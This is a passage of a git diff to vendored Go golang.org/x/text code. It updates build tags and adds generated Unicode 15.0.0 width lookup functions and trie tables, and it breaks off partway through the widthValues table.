"\x13G\x13W\x00\x01\x13L" + // 0x13471357: 0x0001134C + "\x14\xb9\x14\xba\x00\x01\x14\xbb" + // 0x14B914BA: 0x000114BB + "\x14\xb9\x14\xb0\x00\x01\x14\xbc" + // 0x14B914B0: 0x000114BC + "\x14\xb9\x14\xbd\x00\x01\x14\xbe" + // 0x14B914BD: 0x000114BE + "\x15\xb8\x15\xaf\x00\x01\x15\xba" + // 0x15B815AF: 0x000115BA + "\x15\xb9\x15\xaf\x00\x01\x15\xbb" + // 0x15B915AF: 0x000115BB + "\x195\x190\x00\x01\x198" + // 0x19351930: 0x00011938 + "" + // Total size of tables: 56KB (57068 bytes) diff --git a/vendor/golang.org/x/text/width/tables13.0.0.go b/vendor/golang.org/x/text/width/tables13.0.0.go index ab258e3848..b1fcb522cb 100644 --- a/vendor/golang.org/x/text/width/tables13.0.0.go +++ b/vendor/golang.org/x/text/width/tables13.0.0.go @@ -1,7 +1,7 @@ // Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT. -//go:build go1.16 -// +build go1.16 +//go:build go1.16 && !go1.21 +// +build go1.16,!go1.21 package width diff --git a/vendor/golang.org/x/text/width/tables15.0.0.go b/vendor/golang.org/x/text/width/tables15.0.0.go new file mode 100644 index 0000000000..4b91e3384d --- /dev/null +++ b/vendor/golang.org/x/text/width/tables15.0.0.go @@ -0,0 +1,1368 @@ +// Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT. + +//go:build go1.21 +// +build go1.21 + +package width + +// UnicodeVersion is the Unicode version from which the tables in this package are derived. +const UnicodeVersion = "15.0.0" + +// lookup returns the trie value for the first UTF-8 encoding in s and +// the width in bytes of this encoding. The size will be 0 if s does not +// hold enough bytes to complete the encoding. len(s) must be greater than 0. +func (t *widthTrie) lookup(s []byte) (v uint16, sz int) { + c0 := s[0] + switch { + case c0 < 0x80: // is ASCII + return widthValues[c0], 1 + case c0 < 0xC2: + return 0, 1 // Illegal UTF-8: not a starter, not ASCII. + case c0 < 0xE0: // 2-byte UTF-8 + if len(s) < 2 { + return 0, 0 + } + i := widthIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c1), 2 + case c0 < 0xF0: // 3-byte UTF-8 + if len(s) < 3 { + return 0, 0 + } + i := widthIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + o := uint32(i)<<6 + uint32(c1) + i = widthIndex[o] + c2 := s[2] + if c2 < 0x80 || 0xC0 <= c2 { + return 0, 2 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c2), 3 + case c0 < 0xF8: // 4-byte UTF-8 + if len(s) < 4 { + return 0, 0 + } + i := widthIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + o := uint32(i)<<6 + uint32(c1) + i = widthIndex[o] + c2 := s[2] + if c2 < 0x80 || 0xC0 <= c2 { + return 0, 2 // Illegal UTF-8: not a continuation byte. + } + o = uint32(i)<<6 + uint32(c2) + i = widthIndex[o] + c3 := s[3] + if c3 < 0x80 || 0xC0 <= c3 { + return 0, 3 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c3), 4 + } + // Illegal rune + return 0, 1 +} + +// lookupUnsafe returns the trie value for the first UTF-8 encoding in s. +// s must start with a full and valid UTF-8 encoded rune. +func (t *widthTrie) lookupUnsafe(s []byte) uint16 { + c0 := s[0] + if c0 < 0x80 { // is ASCII + return widthValues[c0] + } + i := widthIndex[c0] + if c0 < 0xE0 { // 2-byte UTF-8 + return t.lookupValue(uint32(i), s[1]) + } + i = widthIndex[uint32(i)<<6+uint32(s[1])] + if c0 < 0xF0 { // 3-byte UTF-8 + return t.lookupValue(uint32(i), s[2]) + } + i = widthIndex[uint32(i)<<6+uint32(s[2])] + if c0 < 0xF8 { // 4-byte UTF-8 + return t.lookupValue(uint32(i), s[3]) + } + return 0 +} + +// lookupString returns the trie value for the first UTF-8 encoding in s and +// the width in bytes of this encoding. The size will be 0 if s does not +// hold enough bytes to complete the encoding. len(s) must be greater than 0. +func (t *widthTrie) lookupString(s string) (v uint16, sz int) { + c0 := s[0] + switch { + case c0 < 0x80: // is ASCII + return widthValues[c0], 1 + case c0 < 0xC2: + return 0, 1 // Illegal UTF-8: not a starter, not ASCII. + case c0 < 0xE0: // 2-byte UTF-8 + if len(s) < 2 { + return 0, 0 + } + i := widthIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c1), 2 + case c0 < 0xF0: // 3-byte UTF-8 + if len(s) < 3 { + return 0, 0 + } + i := widthIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + o := uint32(i)<<6 + uint32(c1) + i = widthIndex[o] + c2 := s[2] + if c2 < 0x80 || 0xC0 <= c2 { + return 0, 2 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c2), 3 + case c0 < 0xF8: // 4-byte UTF-8 + if len(s) < 4 { + return 0, 0 + } + i := widthIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + o := uint32(i)<<6 + uint32(c1) + i = widthIndex[o] + c2 := s[2] + if c2 < 0x80 || 0xC0 <= c2 { + return 0, 2 // Illegal UTF-8: not a continuation byte. + } + o = uint32(i)<<6 + uint32(c2) + i = widthIndex[o] + c3 := s[3] + if c3 < 0x80 || 0xC0 <= c3 { + return 0, 3 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c3), 4 + } + // Illegal rune + return 0, 1 +} + +// lookupStringUnsafe returns the trie value for the first UTF-8 encoding in s. +// s must start with a full and valid UTF-8 encoded rune. +func (t *widthTrie) lookupStringUnsafe(s string) uint16 { + c0 := s[0] + if c0 < 0x80 { // is ASCII + return widthValues[c0] + } + i := widthIndex[c0] + if c0 < 0xE0 { // 2-byte UTF-8 + return t.lookupValue(uint32(i), s[1]) + } + i = widthIndex[uint32(i)<<6+uint32(s[1])] + if c0 < 0xF0 { // 3-byte UTF-8 + return t.lookupValue(uint32(i), s[2]) + } + i = widthIndex[uint32(i)<<6+uint32(s[2])] + if c0 < 0xF8 { // 4-byte UTF-8 + return t.lookupValue(uint32(i), s[3]) + } + return 0 +} + +// widthTrie. Total size: 14912 bytes (14.56 KiB). Checksum: 4468b6cd178303d2. +type widthTrie struct{} + +func newWidthTrie(i int) *widthTrie { + return &widthTrie{} +} + +// lookupValue determines the type of block n and looks up the value for b. +func (t *widthTrie) lookupValue(n uint32, b byte) uint16 { + switch { + default: + return uint16(widthValues[n<<6+uint32(b)]) + } +} + +// widthValues: 105 blocks, 6720 entries, 13440 bytes +// The third block is the zero block. +var widthValues = [6720]uint16{ + // Block 0x0, offset 0x0 + 0x20: 0x6001, 0x21: 0x6002, 0x22: 0x6002, 0x23: 0x6002, + 0x24: 0x6002, 0x25: 0x6002, 0x26: 0x6002, 0x27: 0x6002, 0x28: 0x6002, 0x29: 0x6002, + 0x2a: 0x6002, 0x2b: 0x6002, 0x2c: 0x6002, 0x2d: 0x6002, 0x2e: 0x6002, 0x2f: 0x6002, + 0x30: 0x6002, 0x31: 0x6002, 0x32: 0x6002, 0x33: 0x6002, 0x34: 0x6002, 0x35: 0x6002, + 0x36: 0x6002, 0x37: 0x6002, 0x38: 0x6002, 0x39: 0x6002, 0x3a: 0x6002, 0x3b: 0x6002, + 0x3c: 0x6002, 0x3d: 0x6002, 0x3e: 0x6002, 0x3f: 0x6002, + // Block 0x1, offset 0x40 + 0x40: 0x6003, 0x41: 0x6003, 0x42: 0x6003, 0x43: 0x6003, 0x44: 0x6003, 0x45: 0x6003, + 0x46: 0x6003, 0x47: 0x6003, 0x48: 0x6003, 0x49: 0x6003, 0x4a: 0x6003, 0x4b: 0x6003, + 0x4c: 0x6003, 0x4d: 0x6003, 0x4e: 0x6003, 0x4f: 0x6003, 0x50: 0x6003, 0x51: 0x6003, + 0x52: 0x6003, 0x53: 0x6003, 0x54: 0x6003, 0x55: 0x6003, 0x56: 0x6003, 0x57: 0x6003, + 0x58: 0x6003, 0x59: 0x6003, 0x5a: 0x6003, 0x5b: 0x6003, 0x5c: 0x6003, 0x5d: 0x6003, + 0x5e: 0x6003, 0x5f: 0x6003, 0x60: 0x6004, 0x61: 0x6004, 0x62: 0x6004, 0x63: 0x6004, + 0x64: 0x6004, 0x65: 0x6004, 0x66: 0x6004, 0x67: 0x6004, 0x68: 0x6004, 0x69: 0x6004, + 0x6a: 0x6004, 0x6b: 0x6004, 0x6c: 0x6004, 0x6d: 0x6004, 0x6e: 0x6004, 0x6f: 0x6004, + 0x70: 0x6004, 0x71: 0x6004, 0x72: 0x6004, 0x73: 0x6004, 0x74: 0x6004, 0x75: 0x6004, + 0x76: 0x6004, 0x77: 0x6004, 0x78: 0x6004, 0x79: 0x6004, 0x7a: 0x6004, 0x7b: 0x6004, + 0x7c: 0x6004, 0x7d: 0x6004, 0x7e: 0x6004, + // Block 0x2, offset 0x80 + // Block 0x3, offset 0xc0 + 0xe1: 0x2000, 0xe2: 0x6005, 0xe3: 0x6005, + 0xe4: 0x2000, 0xe5: 0x6006, 0xe6: 0x6005, 0xe7: 0x2000, 0xe8: 0x2000, + 0xea: 0x2000, 0xec: 0x6007, 0xed: 0x2000, 0xee: 0x2000, 0xef: 0x6008, + 0xf0: 0x2000, 0xf1: 0x2000, 0xf2: 0x2000, 0xf3: 0x2000, 0xf4: 0x2000, + 0xf6: 0x2000, 0xf7: 0x2000, 0xf8: 0x2000, 0xf9: 0x2000, 0xfa: 0x2000, + 0xfc: 0x2000, 0xfd: 0x2000, 0xfe: 0x2000, 0xff: 0x2000, + // Block 0x4, offset 0x100 + 0x106: 0x2000, + 0x110: 0x2000, + 0x117: 0x2000, + 0x118: 0x2000, + 0x11e: 0x2000, 0x11f: 0x2000, 0x120: 0x2000, 0x121: 0x2000, + 0x126: 0x2000, 0x128: 0x2000, 0x129: 0x2000, + 0x12a: 0x2000, 0x12c: 0x2000, 0x12d: 0x2000, + 0x130: 0x2000, 0x132: 0x2000, 0x133: 0x2000, + 0x137: 0x2000, 0x138: 0x2000, 0x139: 0x2000, 0x13a: 0x2000, + 0x13c: 0x2000, 0x13e: 0x2000, + // Block 0x5, offset 0x140 + 0x141: 0x2000, + 0x151: 0x2000, + 0x153: 0x2000, + 0x15b: 0x2000, + 0x166: 0x2000, 0x167: 0x2000, + 0x16b: 0x2000, + 0x171: 0x2000, 0x172: 0x2000, 0x173: 0x2000, + 0x178: 0x2000, + 0x17f: 0x2000, + // Block 0x6, offset 0x180 + 0x180: 0x2000, 0x181: 0x2000, 0x182: 0x2000, 0x184: 0x2000, + 0x188: 0x2000, 0x189: 0x2000, 0x18a: 0x2000, 0x18b: 0x2000, + 0x18d: 0x2000, + 0x192: 0x2000, 0x193: 0x2000, + 0x1a6: 0x2000, 0x1a7: 0x2000, + 0x1ab: 0x2000, + // Block 0x7, offset 0x1c0 + 0x1ce: 0x2000, 0x1d0: 0x2000, + 0x1d2: 0x2000, 0x1d4: 0x2000, 0x1d6: 0x2000, + 0x1d8: 0x2000, 0x1da: 0x2000, 0x1dc: 0x2000, + // Block 0x8, offset 0x200 + 0x211: 0x2000, + 0x221: 0x2000, + // Block 0x9, offset 0x240 + 0x244: 0x2000, + 0x247: 0x2000, 0x249: 0x2000, 0x24a: 0x2000, 0x24b: 0x2000, + 0x24d: 0x2000, 0x250: 0x2000, + 0x258: 0x2000, 0x259: 0x2000, 0x25a: 0x2000, 0x25b: 0x2000, 0x25d: 0x2000, + 0x25f: 0x2000, + // Block 0xa, offset 0x280 + 0x280: 0x2000, 0x281: 0x2000, 0x282: 0x2000, 0x283: 0x2000, 0x284: 0x2000, 0x285: 0x2000, + 0x286: 0x2000, 0x287: 0x2000, 0x288: 0x2000, 0x289: 0x2000, 0x28a: 0x2000, 0x28b: 0x2000, + 0x28c: 0x2000, 0x28d: 0x2000, 0x28e: 0x2000, 0x28f: 0x2000, 0x290: 0x2000, 0x291: 0x2000, + 0x292: 0x2000, 0x293: 0x2000, 0x294: 0x2000, 0x295: 0x2000, 0x296: 0x2000, 0x297: 0x2000, + 0x298: 0x2000, 0x299: 0x2000, 0x29a: 0x2000, 0x29b: 0x2000, 0x29c: 0x2000, 0x29d: 0x2000, + 0x29e: 0x2000, 0x29f: 0x2000, 0x2a0: 0x2000, 0x2a1: 0x2000, 0x2a2: 0x2000, 0x2a3: 0x2000, + 0x2a4: 0x2000, 0x2a5: 0x2000, 0x2a6: 0x2000, 0x2a7: 0x2000, 0x2a8: 0x2000, 0x2a9: 0x2000, + 0x2aa: 0x2000, 0x2ab: 0x2000, 0x2ac: 0x2000, 0x2ad: 0x2000, 0x2ae: 0x2000, 0x2af: 0x2000, + 0x2b0: 0x2000, 0x2b1: 0x2000, 0x2b2: 0x2000, 0x2b3: 0x2000, 0x2b4: 0x2000, 0x2b5: 0x2000, + 0x2b6: 0x2000, 0x2b7: 0x2000, 0x2b8: 0x2000, 0x2b9: 0x2000, 0x2ba: 0x2000, 0x2bb: 0x2000, + 0x2bc: 0x2000, 0x2bd: 0x2000, 0x2be: 0x2000, 0x2bf: 0x2000, + // Block 0xb, offset 0x2c0 + 0x2c0: 0x2000, 0x2c1: 0x2000, 0x2c2: 0x2000, 0x2c3: 0x2000, 0x2c4: 0x2000, 0x2c5: 0x2000, + 0x2c6: 0x2000, 0x2c7: 0x2000, 0x2c8: 0x2000, 0x2c9: 0x2000, 0x2ca: 0x2000, 0x2cb: 0x2000, + 0x2cc: 0x2000, 0x2cd: 0x2000, 0x2ce: 0x2000, 0x2cf: 0x2000, 0x2d0: 0x2000, 0x2d1: 0x2000, + 0x2d2: 0x2000, 0x2d3: 0x2000, 0x2d4: 0x2000, 0x2d5: 0x2000, 0x2d6: 0x2000, 0x2d7: 0x2000, + 0x2d8: 0x2000, 0x2d9: 0x2000, 0x2da: 0x2000, 0x2db: 0x2000, 0x2dc: 0x2000, 0x2dd: 0x2000, + 0x2de: 0x2000, 0x2df: 0x2000, 0x2e0: 0x2000, 0x2e1: 0x2000, 0x2e2: 0x2000, 0x2e3: 0x2000, + 0x2e4: 0x2000, 0x2e5: 0x2000, 0x2e6: 0x2000, 0x2e7: 0x2000, 0x2e8: 0x2000, 0x2e9: 0x2000, + 0x2ea: 0x2000, 0x2eb: 0x2000, 0x2ec: 0x2000, 0x2ed: 0x2000, 0x2ee: 0x2000, 0x2ef: 0x2000, + // Block 0xc, offset 0x300 + 0x311: 0x2000, + 0x312: 0x2000, 0x313: 0x2000, 0x314: 0x2000, 0x315: 0x2000, 0x316: 0x2000, 0x317: 0x2000, + 0x318: 0x2000, 0x319: 0x2000, 0x31a: 0x2000, 0x31b: 0x2000, 0x31c: 0x2000, 0x31d: 0x2000, + 0x31e: 0x2000, 0x31f: 0x2000, 0x320: 0x2000, 0x321: 0x2000, 0x323: 0x2000, + 0x324: 0x2000, 0x325: 0x2000, 0x326: 0x2000, 0x327: 0x2000, 0x328: 0x2000, 0x329: 0x2000, + 0x331: 0x2000, 0x332: 0x2000, 0x333: 0x2000, 0x334: 0x2000, 0x335: 0x2000, + 0x336: 0x2000, 0x337: 0x2000, 0x338: 0x2000, 0x339: 0x2000, 0x33a: 0x2000, 0x33b: 0x2000, + 0x33c: 0x2000, 0x33d: 0x2000, 0x33e: 0x2000, 0x33f: 0x2000, + // Block 0xd, offset 0x340 + 0x340: 0x2000, 0x341: 0x2000, 0x343: 0x2000, 0x344: 0x2000, 0x345: 0x2000, + 0x346: 0x2000, 0x347: 0x2000, 0x348: 0x2000, 0x349: 0x2000, + // Block 0xe, offset 0x380 + 0x381: 0x2000, + 0x390: 0x2000, 0x391: 0x2000, + 0x392: 0x2000, 0x393: 0x2000, 0x394: 0x2000, 0x395: 0x2000, 0x396: 0x2000, 0x397: 0x2000, + 0x398: 0x2000, 0x399: 0x2000, 0x39a: 0x2000, 0x39b: 0x2000, 0x39c: 0x2000, 0x39d: 0x2000, + 0x39e: 0x2000, 0x39f: 0x2000, 0x3a0: 0x2000, 0x3a1: 0x2000, 0x3a2: 0x2000, 0x3a3: 0x2000, + 0x3a4: 0x2000, 0x3a5: 0x2000, 0x3a6: 0x2000, 0x3a7: 0x2000, 0x3a8: 0x2000, 0x3a9: 0x2000, + 0x3aa: 0x2000, 0x3ab: 0x2000, 0x3ac: 0x2000, 0x3ad: 0x2000, 0x3ae: 0x2000, 0x3af: 0x2000, + 0x3b0: 0x2000, 0x3b1: 0x2000, 0x3b2: 0x2000, 0x3b3: 0x2000, 0x3b4: 0x2000, 0x3b5: 0x2000, + 0x3b6: 0x2000, 0x3b7: 0x2000, 0x3b8: 0x2000, 0x3b9: 0x2000, 0x3ba: 0x2000, 0x3bb: 0x2000, + 0x3bc: 0x2000, 0x3bd: 0x2000, 0x3be: 0x2000, 0x3bf: 0x2000, + // Block 0xf, offset 0x3c0 + 0x3c0: 0x2000, 0x3c1: 0x2000, 0x3c2: 0x2000, 0x3c3: 0x2000, 0x3c4: 0x2000, 0x3c5: 0x2000, + 0x3c6: 0x2000, 0x3c7: 0x2000, 0x3c8: 0x2000, 0x3c9: 0x2000, 0x3ca: 0x2000, 0x3cb: 0x2000, + 0x3cc: 0x2000, 0x3cd: 0x2000, 0x3ce: 0x2000, 0x3cf: 0x2000, 0x3d1: 0x2000, + // Block 0x10, offset 0x400 + 0x400: 0x4000, 0x401: 0x4000, 0x402: 0x4000, 0x403: 0x4000, 0x404: 0x4000, 0x405: 0x4000, + 0x406: 0x4000, 0x407: 0x4000, 0x408: 0x4000, 0x409: 0x4000, 0x40a: 0x4000, 0x40b: 0x4000, + 0x40c: 0x4000, 0x40d: 0x4000, 0x40e: 0x4000, 0x40f: 0x4000, 0x410: 0x4000, 0x411: 0x4000, + 0x412: 0x4000, 0x413: 0x4000, 0x414: 0x4000, 0x415: 0x4000, 0x416: 0x4000, 0x417: 0x4000, + 0x418: 0x4000, 0x419: 0x4000, 0x41a: 0x4000, 0x41b: 0x4000, 0x41c: 0x4000, 0x41d: 0x4000, + 0x41e: 0x4000, 0x41f: 0x4000, 0x420: 0x4000, 0x421: 0x4000, 0x422: 0x4000, 0x423: 0x4000, + 0x424: 0x4000, 0x425: 0x4000, 0x426: 0x4000, 0x427: 0x4000, 0x428: 0x4000, 0x429: 0x4000, + 0x42a: 0x4000, 0x42b: 0x4000, 0x42c: 0x4000, 0x42d: 0x4000, 0x42e: 0x4000, 0x42f: 0x4000, + 0x430: 0x4000, 0x431: 0x4000, 0x432: 0x4000, 0x433: 0x4000, 0x434: 0x4000, 0x435: 0x4000, + 0x436: 0x4000, 0x437: 0x4000, 0x438: 0x4000, 0x439: 0x4000, 0x43a: 0x4000, 0x43b: 0x4000, + 0x43c: 0x4000, 0x43d: 0x4000, 0x43e: 0x4000, 0x43f: 0x4000, + // Block 0x11, offset 0x440 + 0x440: 0x4000, 0x441: 0x4000, 0x442: 0x4000, 0x443: 0x4000, 0x444: 0x4000, 0x445: 0x4000, + 0x446: 0x4000, 0x447: 0x4000, 0x448: 0x4000, 0x449: 0x4000, 0x44a: 0x4000, 0x44b: 0x4000, + 0x44c: 0x4000, 0x44d: 0x4000, 0x44e: 0x4000, 0x44f: 0x4000, 0x450: 0x4000, 0x451: 0x4000, + 0x452: 0x4000, 0x453: 0x4000, 0x454: 0x4000, 0x455: 0x4000, 0x456: 0x4000, 0x457: 0x4000, + 0x458: 0x4000, 0x459: 0x4000, 0x45a: 0x4000, 0x45b: 0x4000, 0x45c: 0x4000, 0x45d: 0x4000, + 0x45e: 0x4000, 0x45f: 0x4000, + // Block 0x12, offset 0x480 + 0x490: 0x2000, + 0x493: 0x2000, 0x494: 0x2000, 0x495: 0x2000, 0x496: 0x2000, + 0x498: 0x2000, 0x499: 0x2000, 0x49c: 0x2000, 0x49d: 0x2000, + 0x4a0: 0x2000, 0x4a1: 0x2000, 0x4a2: 0x2000, + 0x4a4: 0x2000, 0x4a5: 0x2000, 0x4a6: 0x2000, 0x4a7: 0x2000, + 0x4b0: 0x2000, 0x4b2: 0x2000, 0x4b3: 0x2000, 0x4b5: 0x2000, + 0x4bb: 0x2000, + 0x4be: 0x2000, + // Block 0x13, offset 0x4c0 + 0x4f4: 0x2000, + 0x4ff: 0x2000, + // Block 0x14, offset 0x500 + 0x501: 0x2000, 0x502: 0x2000, 0x503: 0x2000, 0x504: 0x2000, + 0x529: 0xa009, + 0x52c: 0x2000, + // Block 0x15, offset 0x540 + 0x543: 0x2000, 0x545: 0x2000, + 0x549: 0x2000, + 0x553: 0x2000, 0x556: 0x2000, + 0x561: 0x2000, 0x562: 0x2000, + 0x566: 0x2000, + 0x56b: 0x2000, + // Block 0x16, offset 0x580 + 0x593: 0x2000, 0x594: 0x2000, + 0x59b: 0x2000, 0x59c: 0x2000, 0x59d: 0x2000, + 0x59e: 0x2000, 0x5a0: 0x2000, 0x5a1: 0x2000, 0x5a2: 0x2000, 0x5a3: 0x2000, + 0x5a4: 0x2000, 0x5a5: 0x2000, 0x5a6: 0x2000, 0x5a7: 0x2000, 0x5a8: 0x2000, 0x5a9: 0x2000, + 0x5aa: 0x2000, 0x5ab: 0x2000, + 0x5b0: 0x2000, 0x5b1: 0x2000, 0x5b2: 0x2000, 0x5b3: 0x2000, 0x5b4: 0x2000, 0x5b5: 0x2000, + 0x5b6: 0x2000, 0x5b7: 0x2000, 0x5b8: 0x2000, 0x5b9: 0x2000, + // Block 0x17, offset 0x5c0 + 0x5c9: 0x2000, + 0x5d0: 0x200a, 0x5d1: 0x200b, + 0x5d2: 0x200a, 0x5d3: 0x200c, 0x5d4: 0x2000, 0x5d5: 0x2000, 0x5d6: 0x2000, 0x5d7: 0x2000, + 0x5d8: 0x2000, 0x5d9: 0x2000, + 0x5f8: 0x2000, 0x5f9: 0x2000, + // Block 0x18, offset 0x600 + 0x612: 0x2000, 0x614: 0x2000, + 0x627: 0x2000, + // Block 0x19, offset 0x640 + 0x640: 0x2000, 0x642: 0x2000, 0x643: 0x2000, + 0x647: 0x2000, 0x648: 0x2000, 0x64b: 0x2000, + 0x64f: 0x2000, 0x651: 0x2000, + 0x655: 0x2000, + 0x65a: 0x2000, 0x65d: 0x2000, + 0x65e: 0x2000, 0x65f: 0x2000, 0x660: 0x2000, 0x663: 0x2000, + 0x665: 0x2000, 0x667: 0x2000, 0x668: 0x2000, 0x669: 0x2000, + 0x66a: 0x2000, 0x66b: 0x2000, 0x66c: 0x2000, 0x66e: 0x2000, + 0x674: 0x2000, 0x675: 0x2000, + 0x676: 0x2000, 0x677: 0x2000, + 0x67c: 0x2000, 0x67d: 0x2000, + // Block 0x1a, offset 0x680 + 0x688: 0x2000, + 0x68c: 0x2000, + 0x692: 0x2000, + 0x6a0: 0x2000, 0x6a1: 0x2000, + 0x6a4: 0x2000, 0x6a5: 0x2000, 0x6a6: 0x2000, 0x6a7: 0x2000, + 0x6aa: 0x2000, 0x6ab: 0x2000, 0x6ae: 0x2000, 0x6af: 0x2000, + // Block 0x1b, offset 0x6c0 + 0x6c2: 0x2000, 0x6c3: 0x2000, + 0x6c6: 0x2000, 0x6c7: 0x2000, + 0x6d5: 0x2000, + 0x6d9: 0x2000, + 0x6e5: 0x2000, + 0x6ff: 0x2000, + // Block 0x1c, offset 0x700 + 0x712: 0x2000, + 0x71a: 0x4000, 0x71b: 0x4000, + 0x729: 0x4000, + 0x72a: 0x4000, + // Block 0x1d, offset 0x740 + 0x769: 0x4000, + 0x76a: 0x4000, 0x76b: 0x4000, 0x76c: 0x4000, + 0x770: 0x4000, 0x773: 0x4000, + // Block 0x1e, offset 0x780 + 0x7a0: 0x2000, 0x7a1: 0x2000, 0x7a2: 0x2000, 0x7a3: 0x2000, + 0x7a4: 0x2000, 0x7a5: 0x2000, 0x7a6: 0x2000, 0x7a7: 0x2000, 0x7a8: 0x2000, 0x7a9: 0x2000, + 0x7aa: 0x2000, 0x7ab: 0x2000, 0x7ac: 0x2000, 0x7ad: 0x2000, 0x7ae: 0x2000, 0x7af: 0x2000, + 0x7b0: 0x2000, 0x7b1: 0x2000, 0x7b2: 0x2000, 0x7b3: 0x2000, 0x7b4: 0x2000, 0x7b5: 0x2000, + 0x7b6: 0x2000, 0x7b7: 0x2000, 0x7b8: 0x2000, 0x7b9: 0x2000, 0x7ba: 0x2000, 0x7bb: 0x2000, + 0x7bc: 0x2000, 0x7bd: 0x2000, 0x7be: 0x2000, 0x7bf: 0x2000, + // Block 0x1f, offset 0x7c0 + 0x7c0: 0x2000, 0x7c1: 0x2000, 0x7c2: 0x2000, 0x7c3: 0x2000, 0x7c4: 0x2000, 0x7c5: 0x2000, + 0x7c6: 0x2000, 0x7c7: 0x2000, 0x7c8: 0x2000, 0x7c9: 0x2000, 0x7ca: 0x2000, 0x7cb: 0x2000, + 0x7cc: 0x2000, 0x7cd: 0x2000, 0x7ce: 0x2000, 0x7cf: 0x2000, 0x7d0: 0x2000, 0x7d1: 0x2000, + 0x7d2: 0x2000, 0x7d3: 0x2000, 0x7d4: 0x2000, 0x7d5: 0x2000, 0x7d6: 0x2000, 0x7d7: 0x2000, + 0x7d8: 0x2000, 0x7d9: 0x2000, 0x7da: 0x2000, 0x7db: 0x2000, 0x7dc: 0x2000, 0x7dd: 0x2000, + 0x7de: 0x2000, 0x7df: 0x2000, 0x7e0: 0x2000, 0x7e1: 0x2000, 0x7e2: 0x2000, 0x7e3: 0x2000, + 0x7e4: 0x2000, 0x7e5: 0x2000, 0x7e6: 0x2000, 0x7e7: 0x2000, 0x7e8: 0x2000, 0x7e9: 0x2000, + 0x7eb: 0x2000, 0x7ec: 0x2000, 0x7ed: 0x2000, 0x7ee: 0x2000, 0x7ef: 0x2000, + 0x7f0: 0x2000, 0x7f1: 0x2000, 0x7f2: 0x2000, 0x7f3: 0x2000, 0x7f4: 0x2000, 0x7f5: 0x2000, + 0x7f6: 0x2000, 0x7f7: 0x2000, 0x7f8: 0x2000, 0x7f9: 0x2000, 0x7fa: 0x2000, 0x7fb: 0x2000, + 0x7fc: 0x2000, 0x7fd: 0x2000, 0x7fe: 0x2000, 0x7ff: 0x2000, + // Block 0x20, offset 0x800 + 0x800: 0x2000, 0x801: 0x2000, 0x802: 0x200d, 0x803: 0x2000, 0x804: 0x2000, 0x805: 0x2000, + 0x806: 0x2000, 0x807: 0x2000, 0x808: 0x2000, 0x809: 0x2000, 0x80a: 0x2000, 0x80b: 0x2000, + 0x80c: 0x2000, 0x80d: 0x2000, 0x80e: 0x2000, 0x80f: 0x2000, 0x810: 0x2000, 0x811: 0x2000, + 0x812: 0x2000, 0x813: 0x2000, 0x814: 0x2000, 0x815: 0x2000, 0x816: 0x2000, 0x817: 0x2000, + 0x818: 0x2000, 0x819: 0x2000, 0x81a: 0x2000, 0x81b: 0x2000, 0x81c: 0x2000, 0x81d: 0x2000, + 0x81e: 0x2000, 0x81f: 0x2000, 0x820: 0x2000, 0x821: 0x2000, 0x822: 0x2000, 0x823: 0x2000, + 0x824: 0x2000, 0x825: 0x2000, 0x826: 0x2000, 0x827: 0x2000, 0x828: 0x2000, 0x829: 0x2000, + 0x82a: 0x2000, 0x82b: 0x2000, 0x82c: 0x2000, 0x82d: 0x2000, 0x82e: 0x2000, 0x82f: 0x2000, + 0x830: 0x2000, 0x831: 0x2000, 0x832: 0x2000, 0x833: 0x2000, 0x834: 0x2000, 0x835: 0x2000, + 0x836: 0x2000, 0x837: 0x2000, 0x838: 0x2000, 0x839: 0x2000, 0x83a: 0x2000, 0x83b: 0x2000, + 0x83c: 0x2000, 0x83d: 0x2000, 0x83e: 0x2000, 0x83f: 0x2000, + // Block 0x21, offset 0x840 + 0x840: 0x2000, 0x841: 0x2000, 0x842: 0x2000, 0x843: 0x2000, 0x844: 0x2000, 0x845: 0x2000, + 0x846: 0x2000, 0x847: 0x2000, 0x848: 0x2000, 0x849: 0x2000, 0x84a: 0x2000, 0x84b: 0x2000, + 0x850: 0x2000, 0x851: 0x2000, + 0x852: 0x2000, 0x853: 0x2000, 0x854: 0x2000, 0x855: 0x2000, 0x856: 0x2000, 0x857: 0x2000, + 0x858: 0x2000, 0x859: 0x2000, 0x85a: 0x2000, 0x85b: 0x2000, 0x85c: 0x2000, 0x85d: 0x2000, + 0x85e: 0x2000, 0x85f: 0x2000, 0x860: 0x2000, 0x861: 0x2000, 0x862: 0x2000, 0x863: 0x2000, + 0x864: 0x2000, 0x865: 0x2000, 0x866: 0x2000, 0x867: 0x2000, 0x868: 0x2000, 0x869: 0x2000, + 0x86a: 0x2000, 0x86b: 0x2000, 0x86c: 0x2000, 0x86d: 0x2000, 0x86e: 0x2000, 0x86f: 0x2000, + 0x870: 0x2000, 0x871: 0x2000, 0x872: 0x2000, 0x873: 0x2000, + // Block 0x22, offset 0x880 + 0x880: 0x2000, 0x881: 0x2000, 0x882: 0x2000, 0x883: 0x2000, 0x884: 0x2000, 0x885: 0x2000, + 0x886: 0x2000, 0x887: 0x2000, 0x888: 0x2000, 0x889: 0x2000, 0x88a: 0x2000, 0x88b: 0x2000, + 0x88c: 0x2000, 0x88d: 0x2000, 0x88e: 0x2000, 0x88f: 0x2000, + 0x892: 0x2000, 0x893: 0x2000, 0x894: 0x2000, 0x895: 0x2000, + 0x8a0: 0x200e, 0x8a1: 0x2000, 0x8a3: 0x2000, + 0x8a4: 0x2000, 0x8a5: 0x2000, 